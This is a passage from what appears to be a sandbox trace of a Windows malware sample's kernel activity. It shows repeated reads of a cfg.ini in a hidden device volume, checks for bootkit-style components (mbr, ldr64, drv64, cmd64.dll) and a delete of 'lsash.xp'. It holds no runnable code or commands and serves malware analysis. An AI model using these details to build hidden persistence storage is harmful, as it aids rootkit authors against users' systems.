MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.854] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.854] IdePortDispatch () returned 0x103 [0117.854] KeWaitForMutexObject () returned 0x0 [0117.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.854] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.854] IdePortDispatch () returned 0x103 [0117.854] KeWaitForMutexObject () returned 0x0 [0117.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.854] KeLeaveCriticalRegion () [0117.854] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.855] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.855] KeEnterCriticalRegion () [0117.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.855] KeLeaveCriticalRegion () [0117.855] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.855] KeEnterCriticalRegion () [0117.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.855] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0117.855] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa60e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.855] KeLeaveCriticalRegion () [0117.855] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.855] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.855] KeEnterCriticalRegion () [0117.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.855] ExFreePoolWithTag (P=0xfffffa8003aa6600, Tag=0x0) [0117.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.855] KeLeaveCriticalRegion () [0117.855] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.855] ReleaseMutex (hMutex=0xf0) returned 1 [0117.855] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.856] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.856] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.856] KeEnterCriticalRegion () [0117.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.856] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.856] IdePortDispatch () returned 0x103 [0117.856] KeWaitForMutexObject () returned 0x0 [0117.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.856] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.856] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.856] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.856] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.856] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6a40 [0117.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.856] KeLeaveCriticalRegion () [0117.856] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.856] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.856] KeEnterCriticalRegion () [0117.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.856] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.856] KeLeaveCriticalRegion () [0117.857] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.857] KeEnterCriticalRegion () [0117.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.857] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.857] IdePortDispatch () returned 0x103 [0117.857] KeWaitForMutexObject () returned 0x0 [0117.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.857] KeLeaveCriticalRegion () [0117.857] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.857] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.857] KeEnterCriticalRegion () [0117.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d52000 [0117.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.857] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.857] IdePortDispatch () returned 0x103 [0117.858] KeWaitForMutexObject () returned 0x0 [0117.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.858] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.858] IdePortDispatch () returned 0x103 [0117.858] KeWaitForMutexObject () returned 0x0 [0117.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.858] KeLeaveCriticalRegion () [0117.858] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.859] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.859] KeEnterCriticalRegion () [0117.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.859] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.859] KeLeaveCriticalRegion () [0117.859] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.859] KeEnterCriticalRegion () [0117.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.859] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0117.859] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.859] KeLeaveCriticalRegion () [0117.859] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.859] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.859] KeEnterCriticalRegion () [0117.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.859] ExFreePoolWithTag (P=0xfffffa8003aa6a40, Tag=0x0) [0117.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.859] KeLeaveCriticalRegion () [0117.859] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.859] ReleaseMutex (hMutex=0xf0) returned 1 [0117.859] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.859] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.859] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.860] KeEnterCriticalRegion () [0117.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.860] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.860] IdePortDispatch () returned 0x103 [0117.860] KeWaitForMutexObject () returned 0x0 [0117.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.860] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.860] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.860] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.860] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.860] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.860] KeLeaveCriticalRegion () [0117.860] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.860] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.860] KeEnterCriticalRegion () [0117.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.860] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.860] KeLeaveCriticalRegion () [0117.860] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.860] KeEnterCriticalRegion () [0117.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.861] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.861] IdePortDispatch () returned 0x103 [0117.861] KeWaitForMutexObject () returned 0x0 [0117.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.861] KeLeaveCriticalRegion () [0117.861] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.861] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.861] KeEnterCriticalRegion () [0117.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.861] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d53000 [0117.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.861] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.861] IdePortDispatch () returned 0x103 [0117.862] KeWaitForMutexObject () returned 0x0 [0117.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.862] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.862] IdePortDispatch () returned 0x103 [0117.862] KeWaitForMutexObject () returned 0x0 [0117.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.862] KeLeaveCriticalRegion () [0117.862] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.863] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.863] KeEnterCriticalRegion () [0117.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.863] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.863] KeLeaveCriticalRegion () [0117.863] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.863] KeEnterCriticalRegion () [0117.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.863] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0117.863] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.863] KeLeaveCriticalRegion () [0117.863] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.863] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.863] KeEnterCriticalRegion () [0117.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.863] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.863] KeLeaveCriticalRegion () [0117.863] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.863] ReleaseMutex (hMutex=0xf0) returned 1 [0117.863] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.863] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.863] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.863] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.863] KeEnterCriticalRegion () [0117.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.864] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.864] IdePortDispatch () returned 0x103 [0117.864] KeWaitForMutexObject () returned 0x0 [0117.864] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.864] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.864] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.864] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.864] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.864] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.864] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.864] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.864] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.864] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.864] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.864] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.864] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.864] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.864] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.864] KeLeaveCriticalRegion () [0117.864] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.864] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.864] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.864] KeEnterCriticalRegion () [0117.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.865] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.865] IdePortDispatch () returned 0x103 [0117.865] KeWaitForMutexObject () returned 0x0 [0117.867] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.867] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.867] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.867] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.867] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.867] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.867] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.867] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.867] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.867] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.868] KeLeaveCriticalRegion () [0117.868] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.868] ReleaseMutex (hMutex=0x100) returned 1 [0117.868] Sleep (dwMilliseconds=0x2bf20) [0117.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69742d50, dwHighDateTime=0x1d24fa4)) [0117.877] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.877] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.877] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.878] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.878] KeEnterCriticalRegion () [0117.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.878] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.878] IdePortDispatch () returned 0x103 [0117.878] KeWaitForMutexObject () returned 0x0 [0117.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.878] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.878] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", 